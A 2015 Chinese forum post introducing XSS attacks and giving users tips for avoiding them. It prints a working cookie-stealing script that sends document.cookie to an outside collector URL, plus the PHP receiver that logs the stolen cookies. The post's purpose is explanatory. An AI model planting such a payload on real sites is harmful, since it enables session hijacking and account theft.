本帖最后由 小屋皮 于 2015-7-23 10:57 编辑
# E0 ?' i2 H8 s: \+ P; Q; S. ^4 \1 a& e" {
谈到XSS漏洞攻击,可能很多童鞋或多或少的晓得一些基础的东西。现在就来带大家一块儿了解一下关于xss漏洞脚本攻防方面的技巧。当然老鸟飞过,不感兴趣的就算了吧。好,我们就从最最基本的开始学习。 一、什么是XSS攻击?初识概念 XSS其实就是跨站脚本攻击的英文缩写,攻击者利用WEB平台的漏洞,将恶意的客户端脚本代码(如 Javascript )通过各种“巧妙”的方式植入正常的网页中,当受害者访问此恶意页面后,就会执行相应的恶意代码,从而达到攻击者的某种目的,比如盗取浏览器会话、cookie信息等等。 二、XSS漏洞如何利用?了解危害 说到xss攻击个人感觉利用最多的就是来盗取用户帐号,包括QQ账户、网银支付号等等(比如劫持受害者的QQ cookie绕过验证);在就是可以用来网页挂马,甚至在受害者电脑留下后门程序;还有更严重的是骇客可以编写复杂的脚本用来做非法DDos网络攻击等等。可见xss攻击的危害还是非常大的! 如果来举个简单的例子,或许大家就可以更容易理解了。假设在某个知名网站存在漏洞的页面中成功嵌入了如下js脚本(实际应用中可以嵌入外部js文件,这里仅做演示,实际不存在):1 G4 ^; ~8 l( ?# q _3 _5 G
<script>document.write("<img src='http://www.feifeiboke.com/xss.php?c=" + escape(document.cookie) + "' />");</script> 其中xss.php也就是cookie接收端,我们可以写为:
0 D7 H# B6 ^) z8 C<?php
8 r. L p' D2 v+ Z8 y/ z$ H$co = $_GET['c']; ) {! v5 k( T. j4 o& {4 g- r
$fo = fopen('1.html', 'a'); 2 k2 A9 J4 v; o' j
fwrite($fo, 'Cookie: ' . $co . '<br>'); 4 N4 X: u" C" t: E( M+ a2 Z
fclose($fo); 4 i7 f6 ^; S# l8 e: b @1 ]
?>
# x+ ?1 y. D5 ~7 P4 h0 M: L这样当受害者访问并成功执行了我们构造的恶意脚本后,对方的cookie信息就会自动保存在1.html中。获得了对方的cookie,也就相当于拿到了他的账户管理权限。 三、XSS跨站漏洞的防范和应对 其实xss漏洞的危害远比我们想象中的要严重的多,包括很多知名站点腾讯、百度、新浪微博等等都曾爆出过xss漏洞,应该说是防不胜防啊。当然及时修复web漏洞/避免出现漏洞是这些网站安全工程师做的事儿,那么从我们用户的角度来说的话如何防范xss漏洞对自己造成的影响呢? 1. 不要访问别人发来的可疑网址链接,例如某些网址后面有一大串编码的参数(很可能是坏人精心构造含有恶意脚本的页面),还有就是短网址,你是直接看不出对方的真实网站链接的,所以访问一定要谨慎! 2. 使用最新版本的浏览器,比如IE8内核的浏览器,就自带有XSS筛选器的功能(默认就是启用状态),这虽不能完全解决xss的危害,但是对于防范一些xss跨站脚本还是有一定的效果的。 3. 提高安全意识,一些重要的帐号使用完毕后(比如网银/支付账户)要点击“退出”登录状态,而不是直接关闭网页。
! c9 s* M0 c: m3 |. z |